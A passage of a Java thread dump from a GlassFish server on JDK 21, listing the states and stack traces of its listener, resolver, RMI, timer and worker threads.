java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"pool-1-thread-1" #52 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2c432318 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #7" #116 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fc17c15 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"events-98" #98 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@13cc1559 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"GlassFish Kernel Main Thread" #106 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@261167a4 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:229) + +"admin-listener(2)" #78 daemon [WAITING] on java.lang.Object@1a63381 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-1(4)" #65 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@771d7673 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hk2-asyncrunlevelcontext" #47 daemon [WAITING] on java.util.TaskQueue@5cdef2b1 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at java.base@21.0.11/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@21.0.11/java.util.TimerThread.run(Timer.java:516) + +"http-listener-2(3)" #72 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@3f220ab9 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"deployment-jar-scanner" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68477d84 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@697b0036 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at java.base@21.0.11/java.lang.ref.NativeReferenceQueue.await(NativeReferenceQueue.java:48) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.11/java.lang.ref.NativeReferenceQueue.remove(NativeReferenceQueue.java:89) + at java.base@21.0.11/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:173) + +"FileSystemWatchService" #121 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.fs.LinuxWatchService.poll(Native Method) + at java.base@21.0.11/sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:307) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-2" #25 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@110747f0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"deployment-jar-scanner" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68477d84 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"log-rotation-timer-for-GlassFishLogHandler" #53 daemon [WAITING] on java.util.TaskQueue@7a3175b + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at java.base@21.0.11/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@21.0.11/java.util.TimerThread.run(Timer.java:516) + +"JobCleanUpTask" #61 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5114bb + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-3" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@110747f0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RMI TCP Connection(2)-192.168.215.4" #127 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.Net.poll(Native Method) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:191) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:280) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:304) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:346) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:796) + at java.base@21.0.11/java.net.Socket$SocketInputStream.read(Socket.java:1099) + at java.base@21.0.11/java.io.BufferedInputStream.fill(BufferedInputStream.java:291) + at java.base@21.0.11/java.io.BufferedInputStream.implRead(BufferedInputStream.java:325) + at java.base@21.0.11/java.io.BufferedInputStream.read(BufferedInputStream.java:312) + at java.base@21.0.11/java.io.FilterInputStream.read(FilterInputStream.java:71) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:580) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:844) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:721) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda/0x000000080154b190.run(Unknown Source) + at java.base@21.0.11/java.security.AccessController.executePrivileged(AccessController.java:778) + at java.base@21.0.11/java.security.AccessController.doPrivileged(AccessController.java:400) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:720) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RunLevelControllerThread-1785504717686" #48 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@5752d33f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"admin-listener(3)" #79 daemon [WAITING] on java.lang.Object@1a63381 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Signal Dispatcher" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"admin-listener-expirer(1)" #82 daemon [TIMED_WAITING] on java.lang.Object@471fd01c + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"admin-listener-kernel(1) SelectorRunner" #83 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:540) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-6" #34 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@110747f0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Reference Handler" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@21.0.11/java.lang.ref.Reference.processPendingReferences(Reference.java:246) + at java.base@21.0.11/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:208) + +"FelixResolver-7" #35 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@110747f0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-8" #36 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@110747f0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"CM Configuration Updater" #45 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@33bf818d + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2(2)" #71 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@3f220ab9 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-5" #28 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@110747f0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RMI GC Daemon" #118 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@1ff6f2ca + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.rmi@21.0.11/sun.rmi.transport.GC$Daemon.run(GC.java:127) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.11/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"AutoDeployer" #104 daemon [TIMED_WAITING] on java.util.TaskQueue@73620a61 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.util.TimerThread.mainLoop(Timer.java:563) + at java.base@21.0.11/java.util.TimerThread.run(Timer.java:516) + +"Gogo shell" #128 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4d83c3e0 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at 